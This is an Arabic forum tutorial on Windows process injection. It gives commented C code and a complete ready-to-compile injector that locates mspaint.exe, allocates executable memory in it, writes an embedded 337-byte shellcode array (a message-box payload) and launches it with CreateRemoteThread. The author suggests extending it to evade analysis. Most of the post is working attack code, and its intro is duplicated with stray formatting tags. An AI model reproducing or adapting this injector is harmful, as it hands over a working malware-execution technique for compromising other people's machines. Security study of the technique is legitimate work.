




السمعة:
Process Injection
الفيديو على اليوتيوب :
الموضوع كتابياً :
بدنا نشرح عن حقن البروسيس هذا مبدئيا رح تتعلموا بس لازم يكون عندك أكثر من اشي توخذه عشان تتعلم تفهم مثلًا البروسيس كلها إذا بدك توخذ نصيحتي قبل ما أبدًا روح ادرسها وتعال أنا شرحتها في أحد الفيديوهات عندي لأنه في نوعين من الناس الي بدها تتعلم جد والناس الي بدها تسوي اشي وخلص مش مهم فاهميته ولا لا لانه للاسف في عالمنا الكل فاهم بكل شي في ناس بتقول وين الاكواد الاكواد كلها بسيرفر الدسكورد في قسم لغة السي وانا قلت لك روح تعلمها ليش لانو للاسف حاليا في الواقع بطلت الناس تقرأ وتتعلم بس بتضيع وقت حتى للاسف اذا في ناس قرأت ما بتفهم اصلا اذا بدك تتعلم موجود كل شي بفلوس وبدون فلوس الي بدو يستفاد حياك الله عندي ولي بدور غير هيك ببنده لانو انا بحاول اجمع المجتمع الي فعلا بدو يتعلم هدفي مش تجاري بحت وان شاء الله تستفيد من الي قاعد بشرحه ما علينا
شرح ال VirtualMemory :
شرح ال process :
ما هو حقن العمليه : تقنيه عشان تخفي رمز البرنامج كيف بتحط الاكواد الي بدها تنفذها في عمليه معينه عشان ينفذها خارج مساحة العملية الي بشتغل عليها بحيث مثلا عندو عملية اسمها “صقندر” بدو ينفذ اكواد في عملية النوت باد او اي عمليه ثانيه
الفيديو على اليوتيوب :
الموضوع كتابياً :
بدنا نشرح عن حقن البروسيس هذا مبدئيا رح تتعلموا بس لازم يكون عندك أكثر من اشي توخذه عشان تتعلم تفهم مثلًا البروسيس كلها إذا بدك توخذ نصيحتي قبل ما أبدًا روح ادرسها وتعال أنا شرحتها في أحد الفيديوهات عندي لأنه في نوعين من الناس الي بدها تتعلم جد والناس الي بدها تسوي اشي وخلص مش مهم فاهميته ولا لا لانه للاسف في عالمنا الكل فاهم بكل شي في ناس بتقول وين الاكواد الاكواد كلها بسيرفر الدسكورد في قسم لغة السي وانا قلت لك روح تعلمها ليش لانو للاسف حاليا في الواقع بطلت الناس تقرأ وتتعلم بس بتضيع وقت حتى للاسف اذا في ناس قرأت ما بتفهم اصلا اذا بدك تتعلم موجود كل شي بفلوس وبدون فلوس الي بدو يستفاد حياك الله عندي ولي بدور غير هيك ببنده لانو انا بحاول اجمع المجتمع الي فعلا بدو يتعلم هدفي مش تجاري بحت وان شاء الله تستفيد من الي قاعد بشرحه ما علينا
شرح ال VirtualMemory :
شرح ال process :
ما هو حقن العمليه : تقنيه عشان تخفي رمز البرنامج كيف بتحط الاكواد الي بدها تنفذها في عمليه معينه عشان ينفذها خارج مساحة العملية الي بشتغل عليها بحيث مثلا عندو عملية اسمها “صقندر” بدو ينفذ اكواد في عملية النوت باد او اي عمليه ثانيه
- اول اشي بدنا نجهز الشيل كود
- ثاني اشي بدنا نعثر على العمليه اذا موجوده في الذاكره عشان نحقنها
ما هو ال shellcode : شيل كود (Shellcode) هو عبارة عن مجموعة من الأوامر الثنائية (بايتات) تم تصميمها بشكل خاص للاستفادة من ثغرات في برمجيات الكمبيوتر وأنظمة التشغيل. يتم استخدام شيل كود في الغالب في عمليات اختراق الأنظمة والاستيلاء على التحكم عن بعد في الأجهزة أو الخوادم.
الكود الخاص بنا :
1.اول اشي عنا البايلود زي ما قلنا في الفيديو الي قبل احنا خزناه كـ مصفوفه عشان تكون البيانات هاي او الاكواد هاي تكون جنب بعض في الميموري مش كل وحده في مكان ثاني هو اه بتقدر تسوي هيك وتجمعها اخر اشي لكن قصه طويله بتقدر تخزنها في انواع بيانات اخرى انت حر مثل لينكد ليست او اي اشي مثل هذا النموذج لاكن استخدمنا هاي لانو الكل بعرفها هي اول نوع بيانات بتتعلمه
2.ثاني اشي جبنا طول هذا الشيل كود ليش عشان بدنا طوله عشان لما نيجي نخزنه في الميموري نكون عارفين طوله عشان نخزن عشان ما نيجي نخزن اقل منه وما راح يشتغل عشان ما راح ينحط كله او يكون اكثر منه وتكون مساحة مال امها داعي انا جبته بهاي الطريقه انت حر جيبه زي ما بدك
3.راح نسوي API تبحث عن البروسيس الي بدنا نحقن فيها في الميموري
API تبحث عن البروسيس تكون بهذا الشكل
الكود الخاص بنا :
1.اول اشي عنا البايلود زي ما قلنا في الفيديو الي قبل احنا خزناه كـ مصفوفه عشان تكون البيانات هاي او الاكواد هاي تكون جنب بعض في الميموري مش كل وحده في مكان ثاني هو اه بتقدر تسوي هيك وتجمعها اخر اشي لكن قصه طويله بتقدر تخزنها في انواع بيانات اخرى انت حر مثل لينكد ليست او اي اشي مثل هذا النموذج لاكن استخدمنا هاي لانو الكل بعرفها هي اول نوع بيانات بتتعلمه
2.ثاني اشي جبنا طول هذا الشيل كود ليش عشان بدنا طوله عشان لما نيجي نخزنه في الميموري نكون عارفين طوله عشان نخزن عشان ما نيجي نخزن اقل منه وما راح يشتغل عشان ما راح ينحط كله او يكون اكثر منه وتكون مساحة مال امها داعي انا جبته بهاي الطريقه انت حر جيبه زي ما بدك
3.راح نسوي API تبحث عن البروسيس الي بدنا نحقن فيها في الميموري
API تبحث عن البروسيس تكون بهذا الشكل
كود:
int findtarget(const char *processName) { //اول اشئ اخذ باراميتر ليش عشان نحط اسم البروسيس الي راح يبحث عليها الي هي نوتباند او اي عمليه انت بدك تحقن فيها هاض الموضوع بعتمد على هدفك[/SIZE][/CENTER][/SIZE][/CENTER]
[SIZE=5][CENTER][SIZE=5][CENTER]
//عرفنا ثلاث متغيرات
HANDLE hSnapshotOfProcesses; // SnapShot : خزناه عشان بدنا نحط اي بي اي معينه فيه عشان نوخذ لقطه من البروسيس كلها
PROCESSENTRY32 processStruct; //Processtruct : هيكل العمليه عشان نقدر نتحقق من هاي العمليه معرف العمليه الخاص فيها هو نفسه او الاسم وطول هاي البروسيس الخ
int pid = 0; // Pid : عشان نجيب معرف رقم هاي العمليه عشان العمليه بتتعرف عليها من رقمها
hSnapshotOfProcesses = CreateToolhelp32Snapshot(TH32CS_SNAPPROCESS, 0); // الـ API هاي الي اخذناها عشان توخذ لقطه من كل البروسيسيز الموجوده
//الداتا تايب الخاص فيها هندل عشان هيك عرفنا المتغير على انو هندل عشان يقدر يحمل القيمة الي يتم التعبير عنها كـ هندل
//بوخذ اثنين براميترز
DWORD dwFlags : بعتمد انو شو الـ اي بي اي ممكن تساوي عشان قلنا لو سناب بروسيس يعني شو بدنا يشمل تسوي سناب على كل البروسيس والثريدز وكلشئ
DWORD th32ProcessID : معرف العمليه الي بدنا بدنا اياها انكلود احنا حطينا صفر عشان تبين تشير الى العمليه الحاليه هاي
//MSDN : https://learn.microsoft.com/en-us/windows/win32/api/tlhelp32/nf-tlhelp32-createtoolhelp32snapshot
if (INVALID_HANDLE_VALUE == hSnapshotOfProcesses) return 0;
processStruct.dwSize = sizeof(PROCESSENTRY32);
//هون ساوينا لوب عن طريق وايل بحيث بوخذ Process32Next اثنين براميترز ال هي
//وظيفة هاي العمليه تجيب معلومات من البروسيس التاليه عن طريق السناب شوت الي اخذناه
while (Process32Next(hSnapshotOfProcesses, &processStruct)) {
if (strcmp(processName, processStruct.szExeFile) == 0) { //بعدين ساوينا شرط اذا كان بساوي عن طريق المقارنه اسم البروسيس خزن معرف العمليه في الفاريبل وهاض احنا بنكون جبنا العمليه
pid = processStruct.th32ProcessID;
break;
}
}
CloseHandle(hSnapshotOfProcesses);
return pid;
}
كود:
//بوخذ 3 ارقيمينت شو يعني الاولى[/SIZE][/CENTER][/SIZE][/CENTER]
[SIZE=5][CENTER][SIZE=5][CENTER]// HANDLE hProcess : البروسيس المستهدف بدنا نوخذ منو الهندل الخاص فيو عشان نعرف نحقن فيو اي بروسيس بدنا اياه يعني اذا ما عندك الهندل تاع البروسيس او اي اشي بتقدر تعرف البروسيس من خلالو كيف بدك تعرف
//ShellCode Payload : البايلود الخاص فينا على هيئه شيل كود عشان نقدر انفذه في الميموري على راحتنا
//Len shellcode : مساحة الشيل كود عشان نعرف كم المساحه الي بنحتاجها في الميموري عشان نخزن هل شيل كود تاعنا ونقدر انفذه بدون اي اشكال
int shellcodeinjection(HANDLE hProcess, unsigned char * shellcodePayload, unsigned int lengthOfShellcodePayload) {
//خلصنا وطلع قدامنا اثنين براميترز
LPVOID pRemoteProcAllocMem = NULL; // للبروسيس بوخذ بوينتر فويد
HANDLE hThread = NULL; // للثريد وبوخذ هندل
//pRemoteProcAllocMem : وهون بدنا نخصص مساحه للشيل كود في البروسيس المستهدف عشان ننفذ التعليمات الي راح نخزنها استخدامنا اي بي اي فيرتشوال الوك ريموت ليش ريموت عشان احنا بدنا نخزنها خارج هاي العمليه واذا بدنا نخزنها خارج العمليه اخذنا احنا هندل ما علينا
//VirtualAllocEx : بنقدر نخزن من خلالها في الميموري في الفيرتول ميموري ادريس نخزن فيها الشيل كود الخاص فينا فيها 5 براميترز هسا راح نشرحها
//HANDLE hProcess : احنا جبنا الهندل راح نحطه في هاي الداتا تايب عشان نقول لهاي ال اي بي اي بدنا نخصص الذاكره في هاي العمليه
//LPVOID lpaddress : هاي اوبشينال مش راح اشرحها لكن زي ما تقول تحدد وين يبدا التخصيص في اي عنوان لكن احنا خليناها نل عشان يخلي نظام التشغيل يتعامل لحالو ويخزن عكيفو
//Dwsize : حجم المساحه الي بدنا نخزنها بالبايت بتكون احنا جبناها
//flAllocationType : نوع الي بدنا نخصصو في الذاكره شو يكون نوعها احنا حطينا الاساسيات
//.MEM_COMMIT : احنا اغلب هاي الاشياء اصلا شرحناها في الفيديو الماضي لكن لما البروسيس تطلب من الويندوز تخصيص لذاكره معينه الميموري مانجر بخصص بتكون فيرتول ميموريلكن هون بنحدد انها تفوت على فيزيكلميموري يعني تكون الذاكره هاي موجوده وبتقدر تنفذها
//.MEM_RESERVE : بتحجز من مساحه الفيرتول ميموري ادريسمن دون تخصيص في الفيزيكل بخزنها في الميموري عشان النظام يحدد المساحة الي راح يخزنها في الميوري فيرتول
//flProtect : بتحدد المزايا الي بتمتع فيها احنا حطيناها تقرأ وتنفذ
pRemoteProcAllocMem = VirtualAllocEx(hProcess, NULL, lengthOfShellcodePayload, MEM_COMMIT, PAGE_EXECUTE_READ);
//WriteProcessMemory API : هاي ال اي بي اي بتسمح لك تكتب بيانات معينه في الذاكره
//hProcess : اول اشي بتوخذ البروسيس هندل عشان نعرف على اي عمليه بدنا نكتب
//lpBaseAddress : المكان الي بدنا نكتب عليه
//lpBuffer :مكان ال البفر الي فيو البيانات الخاصة فيه عشان يبدا يكتبها
//nSize : المساحة
WriteProcessMemory(hProcess, pRemoteProcAllocMem, (PVOID)shellcodePayload, (SIZE_T)lengthOfShellcodePayload, (SIZE_T *)NULL);
//CreateRemoteThread : نفس فكرة انك تسوي كريت ثريد لكن هاي لعمليه ثانيه ريموت فيها
//hProcess : هندل للبروسيس الي بدنا نفتح عليها ثريد
//LPSECURITY : هون الها علاقة في الامن لكن هون بتحدد اذا هاض الهندل قابل لتوريث ولا لا احنا حطينا نل (Null) يعني غير قابل لتوريث والحمايه الخاصة فيه بتيجي من النظام افتراضيا
//Dwstacksize : الحجم الاولي للستاك بتقدر تحطه او لا حطيناه صفر يعني خليه ديفولت سايز
//Lpstartaddress : المكان الي بدنا ننفذخ من خلال هاي الثريد احنا حطينا الادريس ( العنوان ) تاع الفيرتشوال ميموري عشان هو مكان اللي في شيل كود عشان يتنفذ
//lpParameters : هون اذا بدك تحط لذا الشيء براميترز ، احنا لأ لأنه كل شي جاهز عنا
//dwCreationFlags : هون بكون الفلاقز كونترول حاطينها صفر مش محتاجين مثلا تكون سسبيند معلقه حالتها على سبيل المثال حطينها صفر يعني على طول نفذي
//lpThreadId : بوخذ بوينتر على الثريد مش محتاجينها
hThread = CreateRemoteThread(hProcess, NULL, 0, pRemoteProcAllocMem, NULL, 0, NULL);
if (hThread != NULL) {
//WaitForSingleObject : بتسمح للثريد تنتظر حتى يتم الاشاره على ستيت سنقل اوبجيكت
//hHandle : الهاندل للاوبجيكت عشان يجيب ليست بانواع الاوبجيكتس الي بتحدد الهاندل تاعها
//dwMilliseconds : الفاصل الزمني احنا حطيناه -1 عشان تكون انفينتي مالا نهايه حتى يتم الاشاره الى السنقل اوبجيت
WaitForSingleObject(hThread, -1);
CloseHandle(hThread);
return 0;
}
return -1;
}


شغال لكن من ناحيه السرعه ف هو ما براعي ال analysis or CPE etc… لانو الكود مأخوذ من github هذا الشي الاول، الشي الثاني الكود بتقدر تعدل عليه وتوخذ الفكره وممكن اذا انت شاطر في البرمجه تخلي يراعي ال CPE وتحط عليه كم خوارزميات وكم Automation ومع شوية امتيازات الخ
الكود كامل :
كود:
[/SIZE][/CENTER][/SIZE][/CENTER]
[SIZE=5][CENTER][SIZE=5][CENTER]#include <windows.h>
#include <stdio.h>
#include <stdlib.h>
#include <string.h>
#include <tlhelp32.h>
// 64-bit shellcode to display messagebox
unsigned char shellcodePayload[337] = {
0xFC, 0x48, 0x81, 0xE4, 0xF0, 0xFF, 0xFF, 0xFF, 0xE8, 0xD0, 0x00, 0x00,
0x00, 0x41, 0x51, 0x41, 0x50, 0x52, 0x51, 0x56, 0x48, 0x31, 0xD2, 0x65,
0x48, 0x8B, 0x52, 0x60, 0x3E, 0x48, 0x8B, 0x52, 0x18, 0x3E, 0x48, 0x8B,
0x52, 0x20, 0x3E, 0x48, 0x8B, 0x72, 0x50, 0x3E, 0x48, 0x0F, 0xB7, 0x4A,
0x4A, 0x4D, 0x31, 0xC9, 0x48, 0x31, 0xC0, 0xAC, 0x3C, 0x61, 0x7C, 0x02,
0x2C, 0x20, 0x41, 0xC1, 0xC9, 0x0D, 0x41, 0x01, 0xC1, 0xE2, 0xED, 0x52,
0x41, 0x51, 0x3E, 0x48, 0x8B, 0x52, 0x20, 0x3E, 0x8B, 0x42, 0x3C, 0x48,
0x01, 0xD0, 0x3E, 0x8B, 0x80, 0x88, 0x00, 0x00, 0x00, 0x48, 0x85, 0xC0,
0x74, 0x6F, 0x48, 0x01, 0xD0, 0x50, 0x3E, 0x8B, 0x48, 0x18, 0x3E, 0x44,
0x8B, 0x40, 0x20, 0x49, 0x01, 0xD0, 0xE3, 0x5C, 0x48, 0xFF, 0xC9, 0x3E,
0x41, 0x8B, 0x34, 0x88, 0x48, 0x01, 0xD6, 0x4D, 0x31, 0xC9, 0x48, 0x31,
0xC0, 0xAC, 0x41, 0xC1, 0xC9, 0x0D, 0x41, 0x01, 0xC1, 0x38, 0xE0, 0x75,
0xF1, 0x3E, 0x4C, 0x03, 0x4C, 0x24, 0x08, 0x45, 0x39, 0xD1, 0x75, 0xD6,
0x58, 0x3E, 0x44, 0x8B, 0x40, 0x24, 0x49, 0x01, 0xD0, 0x66, 0x3E, 0x41,
0x8B, 0x0C, 0x48, 0x3E, 0x44, 0x8B, 0x40, 0x1C, 0x49, 0x01, 0xD0, 0x3E,
0x41, 0x8B, 0x04, 0x88, 0x48, 0x01, 0xD0, 0x41, 0x58, 0x41, 0x58, 0x5E,
0x59, 0x5A, 0x41, 0x58, 0x41, 0x59, 0x41, 0x5A, 0x48, 0x83, 0xEC, 0x20,
0x41, 0x52, 0xFF, 0xE0, 0x58, 0x41, 0x59, 0x5A, 0x3E, 0x48, 0x8B, 0x12,
0xE9, 0x49, 0xFF, 0xFF, 0xFF, 0x5D, 0x49, 0xC7, 0xC1, 0x40, 0x00, 0x00,
0x00, 0x3E, 0x48, 0x8D, 0x95, 0x1A, 0x01, 0x00, 0x00, 0x3E, 0x4C, 0x8D,
0x85, 0x3A, 0x01, 0x00, 0x00, 0x48, 0x31, 0xC9, 0x41, 0xBA, 0x45, 0x83,
0x56, 0x07, 0xFF, 0xD5, 0xBB, 0xE0, 0x1D, 0x2A, 0x0A, 0x41, 0xBA, 0xA6,
0x95, 0xBD, 0x9D, 0xFF, 0xD5, 0x48, 0x83, 0xC4, 0x28, 0x3C, 0x06, 0x7C,
0x0A, 0x80, 0xFB, 0xE0, 0x75, 0x05, 0xBB, 0x47, 0x13, 0x72, 0x6F, 0x6A,
0x00, 0x59, 0x41, 0x89, 0xDA, 0xFF, 0xD5, 0x48, 0x65, 0x6C, 0x6C, 0x6F,
0x2C, 0x20, 0x66, 0x72, 0x6F, 0x6D, 0x20, 0x63, 0x72, 0x61, 0x63, 0x6B,
0x69, 0x6E, 0x67, 0x6C, 0x65, 0x73, 0x73, 0x6F, 0x6E, 0x73, 0x2E, 0x63,
0x6F, 0x6D, 0x00, 0x53, 0x68, 0x65, 0x6C, 0x6C, 0x63, 0x6F, 0x64, 0x65,
0x00
};
unsigned int lengthOfShellcodePayload = 337;
int SearchForProcess(const char *processName) {
HANDLE hSnapshotOfProcesses;
PROCESSENTRY32 processStruct;
int pid = 0;
hSnapshotOfProcesses = CreateToolhelp32Snapshot(TH32CS_SNAPPROCESS, 0);
if (INVALID_HANDLE_VALUE == hSnapshotOfProcesses) return 0;
processStruct.dwSize = sizeof(PROCESSENTRY32);
if (!Process32First(hSnapshotOfProcesses, &processStruct)) {
CloseHandle(hSnapshotOfProcesses);
return 0;
}
while (Process32Next(hSnapshotOfProcesses, &processStruct)) {
if (lstrcmpiA(processName, processStruct.szExeFile) == 0) {
pid = processStruct.th32ProcessID;
break;
}
}
CloseHandle(hSnapshotOfProcesses);
return pid;
}
int ShellcodeInject(HANDLE hProcess, unsigned char * shellcodePayload, unsigned int lengthOfShellcodePayload) {
LPVOID pRemoteProcAllocMem = NULL;
HANDLE hThread = NULL;
pRemoteProcAllocMem = VirtualAllocEx(hProcess, NULL, lengthOfShellcodePayload, MEM_COMMIT, PAGE_EXECUTE_READ);
WriteProcessMemory(hProcess, pRemoteProcAllocMem, (PVOID)shellcodePayload, (SIZE_T)lengthOfShellcodePayload, (SIZE_T *)NULL);
hThread = CreateRemoteThread(hProcess, NULL, 0, pRemoteProcAllocMem, NULL, 0, NULL);
if (hThread != NULL) {
WaitForSingleObject(hThread, 500);
CloseHandle(hThread);
return 0;
}
return -1;
}
int main(void) {
int pid = 0;
HANDLE hProcess = NULL;
pid = SearchForProcess("mspaint.exe");
if (pid) {
printf("mspaint.exe PID = %d\n", pid);
// try to open target process
hProcess = OpenProcess( PROCESS_CREATE_THREAD | PROCESS_QUERY_INFORMATION |
PROCESS_VM_OPERATION | PROCESS_VM_READ | PROCESS_VM_WRITE,
FALSE, (DWORD) pid);
if (hProcess != NULL) {
ShellcodeInject(hProcess, shellcodePayload, lengthOfShellcodePayload);
CloseHandle(hProcess);
}
}
return 0;
}
مصادر :

Process32Next function (tlhelp32.h) - Win32 apps
The Process32Next function (tlhelp32.h) retrieves information about the next process recorded in a system snapshot.
learn.microsoft.com

CreateToolhelp32Snapshot function (tlhelp32.h) - Win32 apps
Takes a snapshot of the specified processes, as well as the heaps, modules, and threads used by these processes.
learn.microsoft.com

Process and Thread Structures - Win32 apps
This topic lists structures that are used with processes, threads, processors, job objects, and user-mode scheduling (UMS).
learn.microsoft.com

VirtualAllocEx function (memoryapi.h) - Win32 apps
Reserves, commits, or changes the state of a region of memory within the virtual address space of a specified process. The function initializes the memory it allocates to zero. (VirtualAllocEx)
learn.microsoft.com

WriteProcessMemory function (memoryapi.h) - Win32 apps
Writes data to an area of memory in a specified process. The entire area to be written to must be accessible or the operation fails.
learn.microsoft.com

CreateRemoteThread function (processthreadsapi.h) - Win32 apps
Creates a thread that runs in the virtual address space of another process.
learn.microsoft.com
التعديل الأخير بواسطة المشرف: